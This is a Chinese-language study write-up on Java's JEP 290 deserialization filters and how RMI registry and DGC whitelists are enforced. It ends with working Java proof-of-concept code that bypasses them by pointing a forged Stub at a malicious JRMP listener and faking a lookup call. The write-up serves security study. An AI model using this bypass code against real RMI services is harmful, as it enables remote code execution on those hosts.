JEP 290
Intro
上一节介绍的RMI反序列化入口都是JDK自带的rmi包中,很难想象官方会不去修复或缓解这个漏洞。
针对此JDK9加入了一个反序列化的安全机制————JEP 290
JEP:Java Enhancement Proposal 即Java增强提议,像新语法什么的都会在这出现
是在Java9提出的,但在JDK6、7、8的高版本中也引入了这个机制(JDK8121、JDK7u131、JDK6u141)
官方的描述👉https://openjdk.org/jeps/290
JEP 290: Filter Incoming Serialization Data
Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.
对输入的对象序列化数据流进行过滤,以提高安全性和鲁棒性。
根据官方的描述,核心机制在于一个可以被用户实现的filter接口,作为ObjectInputStream的一个属性,反序列化时会触发接口的方法,对序列化类进行合法性检查。每个对象在被实例化和反序列化之前,过滤器都会被调用,除去Java的基本类型和java.lang.String(若过滤器未设置,默认使用全局过滤器)。此外,针对RMI,用于导出远程对象的UnicastServerRef中的MarshalInputStream也设置了过滤器,用于验证方法参数的合法性。
下面的分析都基于JDK8u202,其他版本应该类似。
我们下载的
Oracle JDK只提供了java和javax包下的源码,没有sun包源码需要去OpenJDK官网下载JDK源码,如8u202👉https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/4d01af166527,点击zip下载源码
下载的压缩包下src/share/classes,将sun目录复制到JDK的安装目录下的src,IDEA中Project Structure->SDKs->SourcePath,添加src目录
这样就不用看🤮反编译结果了✌️
ObjectInputFilter
原生反序列化的入口在ObjectInputStream#readObject,在这里设置过滤器再合适不过。JEP 290在ObjectInputStream类中增加了一个serialFilter属性和一个filterCheck方法。
serialFilter
ObjectInputStream的构造方法初始化了serialFilter

Config是sun.misc.ObjectInputFilter这个接口的一个静态内部类,getSerialFilter返回Config的静态字段serialFilter
这个静态字段在Config的静态代码块中进行初始化

试试打印这两个全局属性,发现是null,所以默认反序列化过滤器为空
System.getProperty("jdk.serialFilter");
Security.getProperty("jdk.serialFilter")若有设置这两个全局属性,才会构造序列化过滤器。
serialFilter是ObjectInputFilter接口类,ObjectInputStream#setObjectInputFilter(JDK9以下是setInternalObjectInputFilter)用于设置过滤器。(相应的也有getObjectInputFilter用于获取过滤器)
下面看看当jdk.serialFilter全局属性不为空时,如何创建一个过滤器
ObjectInputFilter.Config#createFilter

关于pattern的规则,注释也写得很详细明了了。
反序列化时检查类有三种状态:ALLOWED、REJECTED、UNDECIDED
见ObjectInputFilter接口的枚举类Status

这里插入一个测试例子

反序列化时成功抛出InvalidClassException异常,显示过滤器状态为REJECTED
接着交给ObjectInputFilter.Config.Global#createFilter去创建过滤器
Global本身就实现了ObjectInputFilter接口

Global的构造函数会解析我们传入的匹配规则pattern,将规则解析成一个个lambda表达式,lambda表达式会返回ObjectInputFilter.Status
private final List<Function<Class<?>, Status>> filters;
过滤包下的所有类
pkg为我们设置的待过滤包名

pkg与Class.getName()进行比较

过滤包下的所有类及所有子包

过滤某个前缀

过滤某个类

总结:ObjectInputStream的构造方法中获取serialFilter(ObjectInputFilter接口类),即ObjectInputFilter.Config的静态成员serialFilter,其在Config的静态代码块中初始化,若有通过System或Security设置全局属性jdk.serialFilter,则创建反序列化过滤器(默认为null,不创建)。最后调用ObjectInputFilter.Config.Global的构造方法,Global实现了ObjectInputFilter接口,所以它本身就是一个过滤器。Global的构造方法中对传入的过滤规则pattern解析成一个个lambda表达式,放入自身的filters字段中。
filterCheck
ObjectInputStream#filterCheck会对类进行过滤

判断
serialFilter是否为空交给
serialFilter#checkInput进行类检测若返回状态为
null或REJECTED,抛出InvalidClassException异常
这里封装了一个FilterValues对象(这个类实现了ObjectInputFilter.FilterInfo接口)

Global#checkInput会检测如下内容:
数组长度是否超过
maxArrayLength类名是否在黑名单
filters对象引用是否超过
maxReferences序列流大小是否超过
maxStreamBytes嵌套对象的深度是否超过
maxDepth


customized filter
上面通过设置全局属性jdk.serialFilter,创建的是全局过滤器,因为ObjectInputFilter.Config类初始化,Global这个过滤器被创建并赋值给Config.serialFilter,每次创建ObjectInputStream对象都是去拿Config的serialFilter属性。
Local customization
若想设置局部自定义过滤器,可以调用ObjectInputStream#setInternalObjectInputFilter,传入自定义的ObjectInputFilter(JDK9及以上是setObjectInputFilter)

或者调用ObjectInputFilter.Config#setObjectInputFilter,需要传入ObjectInputStream对象和自定义的过滤器

Global customization
可能需要通过反射去修改Config的serialFilter属性
因为对象实例化后serialFilter已经被赋值了,但setSerialFilter会检查serialFilter是否为空,不为空就改不了。这方法估计就是用来代替设置jdk.serialFilter全局属性的。

Filter in RMI
Normal RemoteObject
RMI在调用远程方法时,服务端会反序列化客户端发送的序列化参数对象。
sun.rmi.server.UnicastServerRef#dispatch

UnicastServerRef多了一个属性filter,可在构造的时候传入。
unmarshalCustomCallData设置了一个局部过滤器,对传入的MarshalInputStream设置serialFilter,来过滤远程方法的调用参数。

但很可惜这个filter默认是null,也就是默认没有反序列化过滤器。
远程对象继承了UnicastRemoteObject,其构造方法会把自身导出,


可以看到这里构造UnicastServerRef时默认过滤器为null。
RegistryImpl
但对于注册中心RegistryImpl的创建,就指定了一个过滤器。


这里的
::表示方法引用,配合函数式接口使用,比如:interface Converter { String convert(String input); } // 使用静态方法引用实现函数式接口 Converter converter = String::toUpperCase; String result = converter.convert("hello"); // HELLO函数式接口是只有一个抽象方法的接口,可以使用lambda表达式或方法引用来实现该抽象方法。避免匿名类的构造。Java中的函数式接口使用
@FunctionalInterface注解进行标识。
刚好ObjectInputFilter有@FunctionalInterface注解

RegistryImpl::registryFilter设置了一个白名单,只允许反序列化特定类的子类
父类.class.isAssignableFrom(子类.class)

RegistryImpl的registryFilter属性在初始化时读取全局属性sun.rmi.registry.registryFilter,读不到也是默认null过滤器。


Config.createFilter2和Config.createFilter的区别在于前者不会检测数组里的元素类型。
DGCImpl
同样DGCImpl也设置了自己的白名单


Bypass JEP290 in RMI
首先就是对于普通的远程对象,其UnicastServerRef的filter默认为null,因此传输恶意对象让其进行反序列化仍可以打。
感觉这个叫bypass很勉强,只是JEP290对反序列化的点没有防御全面,而不是防御逻辑出问题。
其次注意到上面的防护只是针对服务端的引用层,都是在UnicastServerRef中调用unmarshalCustomCallData将filter注册进来,
而对于客户端的引用层UnicastRef,并没有发现过滤器的注册,因此payloads.JRMPClient/exploit.JRMPListner仍可以打
既然对于客户端没有防护,那么能不能让服务端变成客户端呢?
注册中心设置白名单肯定要保证原本功能的正常运行,也就是通过bind传递的Stub肯定要能被反序列化,才能被注册中心接收。
看一眼白名单,Remote、UnicastRef、UID、Number、String这些基本的bind要传的类是有的
结合前面RMI讲的UnicastRef反序列化会触发DGC的dirty,因此我们构造一个指向我们恶意JRMP服务的远程对象Stub,让注册中心往我们的恶意服务端发送租赁请求,接着返回恶意数据让其反序列化。
public class RMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
while (true) {
Thread.sleep(10000);
}
}
}public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Remote proxy = (Remote) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[]{
Remote.class
}, obj);
registry.bind("x", proxy);
}
}TCPEndpoint指向了JRMPListener的主机和端口

上面的payload只能在本地打通。
之前不是说注册中心压根没有做身份验证嘛,任何人都可以随便bind对象上去
高版本RMI修复了这个问题,RegistryImpl_Skel在调用bind、rebind、unbind之前会判断客户端的IP和本机IP是否相同


当然list、lookup这些客户端正常使用的功能就没有这个限制

但是如果客户端直接调用lookup,只能传递字符串。
我们可以直接仿造RegistryImpl_Stub实现一个lookup方法,使其接收Object对象,并把opnum改成lookup对应的2
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
lookup(registry, obj);
}
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref");
long interfaceHash = Long.valueOf(String.valueOf(getFieldValue(registry, "interfaceHash")));
java.rmi.server.Operation[] operations = (Operation[]) getFieldValue(registry, "operations");
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject(obj);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
return null;
} catch (RuntimeException | RemoteException | NotBoundException e) {
if(e instanceof RemoteException| e instanceof ClassCastException){
return null;
}else{
throw e;
}
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
} finally {
ref.done(call);
}
}
public static Object getFieldValue(Object o, String name) throws Exception {
Class<?> superClazz = o.getClass();
Field f = null;
while (true) {
try {
f = superClazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException e) {
superClazz = superClazz.getSuperclass();
}
}
f.setAccessible(true);
return f.get(o);
}
}JDK 8u231修复了DGCImpl_Stub,反序列化前设置了过滤器


return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED: ObjectInputFilter.Status.REJECTED;白名单绕不过了。
后面的版本UnicastRef貌似也没有对异常类进行反序列化了。
Filter in WebLogic
海妹学weblogic,占个位
Ref
https://paper.seebug.org/1689/
https://xz.aliyun.com/t/8706
https://baicany.github.io/2023/07/30/jrmp/
Last updated
Was this helpful?